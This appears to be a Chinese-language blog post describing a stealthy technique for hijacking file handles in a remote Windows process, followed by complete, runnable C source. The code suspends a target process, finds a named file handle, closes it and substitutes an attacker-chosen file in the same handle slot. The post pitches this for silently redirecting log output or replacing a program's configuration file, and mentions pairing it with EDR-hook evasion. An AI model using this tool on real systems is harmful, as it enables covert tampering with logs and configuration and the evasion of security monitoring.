分析隐蔽截取远程文件流的方法

主要思路是在远程进程中操作文件句柄，而无需依赖代码注入

利用 Windows 重用句柄索引，关闭句柄时，在该进程中创建的下一个句柄将重用上一个句柄索引。

可用于将正在运行的未落地日志文件（或任何其他输出文件）重定向到其他位置，未落地时文件还未写入内容，简单定制代码，就能用于替换目标进程中的配置文件。这适用于使用持久性文件句柄的任何软件，具体实战可能还要结合一些 pass edr的hook。

大致利用过程分为以下几个步骤

1. 创建一个新的输出文件 - 这是目标句柄将被重定向到的位置。
2. 用 `NtSuspendProcess` 挂起目标进程。

```
// 挂起目标进程
if (NtSuspendProcess(hProcess) != 0) {
    CloseHandle(hProcess);
    return 1;
}

// 获取 NtSuspendProcess 指针
NtSuspendProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
if (NtSuspendProcess == NULL) {
    return 1;
}
```

3. 使用 `NtQuerySystemInform` 循环遍历目标进程中的所有句柄。
4. 通过检查 `ObjectTypeIndex` 值忽略任何非文件句柄。计算文件句柄的正确 `ObjectTypeIndex`。
5. 使用 `NtQueryInformation` 在远程进程中查找目标文件句柄带有文件名的信息以检索文件路径。这里需要一些技巧来避免死锁。
6. 使用带有`DUPLICATE_CLOSE_SOURCE`标志的重复处理程序关闭远程进程中的目标文件句柄。
7. 使用处理程序将新的输出文件（步骤 1）复制到目标进程中。确认复制的句柄与原始目标句柄匹配。
8. 使用 `NtResumeProcess` 恢复目标进程。

代码含注释

```
#include <stdio.h>
#include <windows.h>

#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
```

```
6
7  #define FileNameInformation 9
8  #define PROCESS_SUSPEND_RESUME 0x800
9
10 struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
11     ULONG Object;
12     ULONG UniqueProcessId;
13     ULONG HandleValue;
14     ULONG GrantedAccess;
15     USHORT CreatorBackTraceIndex;
16     USHORT ObjectTypeIndex;
17     ULONG HandleAttributes;
18     ULONG Reserved;
19 };
20
21 struct SYSTEM_HANDLE_INFORMATION_EX {
22     ULONG NumberOfHandles;
23     ULONG Reserved;
24     SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];
25 };
26
27 struct FILE_NAME_INFORMATION {
28     ULONG FileNameLength;
29     WCHAR FileName[1];
30 };
31
32 struct IO_STATUS_BLOCK {
33     union {
34         DWORD Status;
35         PVOID Pointer;
36     };
37     DWORD *Information;
38 };
39
40 struct GetFileHandlePathThreadParamStruct {
41     HANDLE hFile;
42     char szPath[512];
43 };
44
45 DWORD
46 (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID
   SystemInformation, ULONG SystemInformationLength,
47                                    PULONG ReturnLength);
48
49 DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock,
   PVOID FileInformation, ULONG Length,
50                                        DWORD FileInformationClass);
51
52 DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
```

```
53
54  DWORD (WINAPI *NtResumeProcess)(HANDLE Process);
55
56  SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
57  DWORD dwGlobal_DebugObjectType = 0;
58
59  DWORD GetSystemHandleList() {
60      DWORD dwAllocSize = 0;
61      DWORD dwStatus = 0;
62      DWORD dwLength = 0;
63      BYTE *pSystemHandleInfoBuffer = NULL;
64
65      if (pGlobal_SystemHandleInfo != NULL) {
66          free(pGlobal_SystemHandleInfo);
67      }
68      // 获取系统句柄列表
69      dwAllocSize = 0;
70      for (;;) {
71          if (pSystemHandleInfoBuffer != NULL) {
72              // 释放大小不足的缓冲区
73              free(pSystemHandleInfoBuffer);
74              pSystemHandleInfoBuffer = NULL;
75          }
76
77          if (dwAllocSize != 0) {
78              // 分配新内存
79              pSystemHandleInfoBuffer = (BYTE *) malloc(dwAllocSize);
80              if (pSystemHandleInfoBuffer == NULL) {
81                  return 1;
82              }
83          }
84          dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void
    *) pSystemHandleInfoBuffer,
85                                              dwAllocSize, &dwLength);
86          if (dwStatus == 0) {
87              // 成功
88              break;
89          } else if (dwStatus == STATUS_INFO_LENGTH_MISMATCH) {
90              // 空间不足，额外分配1kb
91              dwAllocSize = (dwLength + 1024);
92          } else {
93              free(pSystemHandleInfoBuffer);
94              return 1;
95          }
96      }
97
98      // 存储句柄信息指针
99      pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)
    pSystemHandleInfoBuffer;
```

```
100
101     return 0;
102 }
103
104 DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType) {
105     HANDLE hFile = NULL;
106     char szPath[512];
107     DWORD dwFound = 0;
108     DWORD dwFileHandleObjectType = 0;
109
110     // 获取当前exe的文件路径
111     memset(szPath, 0, sizeof(szPath));
112     if (GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) {
113         return 1;
114     }
115
116     // 打开当前exe
117     hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
    0, NULL);
118     if (hFile == INVALID_HANDLE_VALUE) {
119         return 1;
120     }
121
122     // 系统句柄列表快照
123     if (GetSystemHandleList() != 0) {
124         return 1;
125     }
126     CloseHandle(hFile);
127
128     //在上一个快照中找到临时文件句柄
129     for (DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) {
130         // 检查进程ID
131         if (pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId ==
    GetCurrentProcessId()) {
132             // 检查句柄索引
133             if (pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)
    hFile) {
134                 // 保存文件句柄对象类型索引
135                 dwFileHandleObjectType = pGlobal_SystemHandleInfo-
    >HandleList[i].ObjectTypeIndex;
136                 dwFound = 1;
137                 break;
138             }
139         }
140     }
141
142     // 确保找到文件句柄对象类型
143     if (dwFound == 0) {
144         return 1;
```

```
145     }
146 
147     // 保存对象类型
148     *pdwFileHandleObjectType = dwFileHandleObjectType;
149 
150     return 0;
151 }
152 
153 DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg) {
154     BYTE bFileInfoBuffer[2048];
155     IO_STATUS_BLOCK IoStatusBlock;
156     GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
157     FILE_NAME_INFORMATION *pFileNameInfo = NULL;
158 
159     // 获取参数
160     pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct *) lpArg;
161 
162     // 从句柄中获取文件路径
163     memset((void *) &IoStatusBlock, 0, sizeof(IoStatusBlock));
164     memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
165     if (NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile,
    &IoStatusBlock, bFileInfoBuffer,
166                                sizeof(bFileInfoBuffer), FileNameInformation) != 0)
    {
167         return 1;
168     }
169 
170     // get FILE_NAME_INFORMATION ptr
171     pFileNameInfo = (FILE_NAME_INFORMATION *) bFileInfoBuffer;
172 
173     // 验证文件名长度
174     if (pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam-
    >szPath)) {
175         return 1;
176     }
177 
178     // 转换文件路径为 ansi string
179     wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName,
180              sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
181 
182     return 0;
183 }
184 
185 DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle,
    HANDLE hReplaceLocalHandle) {
186     HANDLE hClonedFileHandle = NULL;
187     HANDLE hRemoteReplacedHandle = NULL;
188 
189     // 关闭远程文件句柄
```

```
    if (DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0,
                        DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0) {
        return 1;
    }

    // 关闭新文件句柄
    CloseHandle(hClonedFileHandle);

    //将本地文件句柄复制到远程进程
    if (DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0,
                        DUPLICATE_SAME_ACCESS) == 0) {
        return 1;
    }

    // 确保新的句柄与原始值匹配
    if (hRemoteReplacedHandle != hExistingRemoteHandle) {
        return 1;
    }

    return 0;
}

DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle) {
    HANDLE hProcess = NULL;
    HANDLE hClonedFileHandle = NULL;
    DWORD dwFileHandleObjectType = 0;
    DWORD dwThreadExitCode = 0;
    DWORD dwThreadID = 0;
    HANDLE hThread = NULL;
    GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
    char *pLastSlash = NULL;
    DWORD dwHijackCount = 0;

    // 计算文件句柄的对象类型索引
    if (GetFileHandleObjectType(&dwFileHandleObjectType) != 0) {
        return 1;
    }
    printf("Opening process: %u...\n", dwTargetPID);

    // 打开目标进程
    hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);
    if (hProcess == NULL) {
        return 1;
    }

```

```
235     // 挂起目标进程
236     if (NtSuspendProcess(hProcess) != 0) {
237         CloseHandle(hProcess);
238         return 1;
239     }
240 
241     // 获取系统句柄列表
242     if (GetSystemHandleList() != 0) {
243         NtResumeProcess(hProcess);
244         CloseHandle(hProcess);
245         return 1;
246     }
247 
248     for (DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) {
249         // 确保此句柄是文件句柄对象
250         if (pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex !=
    dwFileHandleObjectType) {
251             continue;
252         }
253 
254         // 确保此句柄位于目标进程中
255         if (pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId !=
    dwTargetPID) {
256             continue;
257         }
258 
259         // new file handle
260         if (DuplicateHandle(hProcess, (HANDLE) pGlobal_SystemHandleInfo-
    >HandleList[i].HandleValue, GetCurrentProcess(),
261                             &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
    {
262             continue;
263         }
264 
265         // 获取当前句柄的文件路径
266         // 创建新线程防止死锁
267         memset((void *) &GetFileHandlePathThreadParam, 0,
    sizeof(GetFileHandlePathThreadParam));
268         GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
269         hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void *)
    &GetFileHandlePathThreadParam, 0,
270                                &dwThreadID);
271         if (hThread == NULL) {
272             CloseHandle(hClonedFileHandle);
273             continue;
274         }
275 
276         // 等待线程完成
277         if (WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0) {
```

```
            // 超时退出
            TerminateThread(hThread, 1);

            CloseHandle(hThread);
            CloseHandle(hClonedFileHandle);
            continue;
        }
        CloseHandle(hClonedFileHandle);

        // 检测退出线程
        GetExitCodeThread(hThread, &dwThreadExitCode);
        if (dwThreadExitCode != 0) {
            CloseHandle(hThread);
            continue;
        }
        CloseHandle(hThread);

        // 获取路径
        pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
        if (pLastSlash == NULL) {
            continue;
        }

        // 检查是否是目标文件名
        pLastSlash++;
        if (stricmp(pLastSlash, pTargetFileName) != 0) {
            continue;
        }

        // found matching filename
        printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n",
GetFileHandlePathThreadParam.szPath,
               pGlobal_SystemHandleInfo->HandleList[i].HandleValue);
        dwHijackCount++;

        // 替换目标文件句柄
        if (ReplaceFileHandle(hProcess, (HANDLE) pGlobal_SystemHandleInfo-
>HandleList[i].HandleValue,
                              hReplaceLocalHandle) == 0) {
            // 句柄替换成功
            printf("Remote file handle hijacked successfully\n\n");
        } else {
            // 替换失败
            printf("Failed to hijack remote file handle\n\n");
        }
    }

    // 恢复进程
    if (NtResumeProcess(hProcess) != 0) {
```

```
        CloseHandle(hProcess);
        return 1;
    }

    // close handle
    CloseHandle(hProcess);

    // 确保匹配到至少一个文件句柄
    if (dwHijackCount == 0) {
        printf("No matching file handles found\n");
        return 1;
    }

    return 0;
}

DWORD GetNtdllFunctions() {
    // get NtQueryInformationFile ptr
    NtQueryInformationFile = (unsigned long (__stdcall *)(void *, void *, void *, unsigned long,
                                                          unsigned long))
GetProcAddress(GetModuleHandle("ntdll.dll"),
      "NtQueryInformationFile");
    if (NtQueryInformationFile == NULL) {
        return 1;
    }

    // get NtQuerySystemInformation ptr
    NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long, void *, unsigned long,
                                                            unsigned long *))
GetProcAddress(
            GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        return 1;
    }

    // get NtSuspendProcess ptr
    NtSuspendProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtSuspendProcess");
    if (NtSuspendProcess == NULL) {
        return 1;
    }

    // get NtResumeProcess ptr
```

```
366     NtResumeProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"),
367
"NtResumeProcess");
368     if (NtResumeProcess == NULL) {
369         return 1;
370     }
371
372     return 0;
373 }
374
375 int main(int argc, char *argv[]) {
376     DWORD dwPID = 0;
377     char *pTargetFileName = NULL;
378     char *pNewFilePath = NULL;
379     HANDLE hFile = NULL;
380
381     if (argc != 4) {
382         printf("Usage : %s <target_pid> <target_file_name> <new_file_path>\n\n",
argv[0]);
383         return 1;
384     }
385
386     // 获取参数
387     dwPID = atoi(argv[1]);
388     pTargetFileName = argv[2];
389     pNewFilePath = argv[3];
390
391     // 获取 ntdll 函数指针
392     if (GetNtdllFunctions() != 0) {
393         return 1;
394     }
395
396     // 创建新的输出文件
397     hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ
| FILE_SHARE_WRITE, NULL,
398                        CREATE_ALWAYS, 0, NULL);
399     if (hFile == INVALID_HANDLE_VALUE) {
400         printf("Failed to create file\n");
401         return 1;
402     }
403
404     // 劫持目标进程的文件句柄
405     if (HijackFileHandle(dwPID, pTargetFileName, hFile) != 0) {
406         printf("Error\n");
407
408         // error handle
409         CloseHandle(hFile);
410         DeleteFile(pNewFilePath);
```

```
411             return 1;
412         }
413 
414         // close handle
415         CloseHandle(hFile);
416         printf("Finished\n");
417 
418         return 0;
419 }
```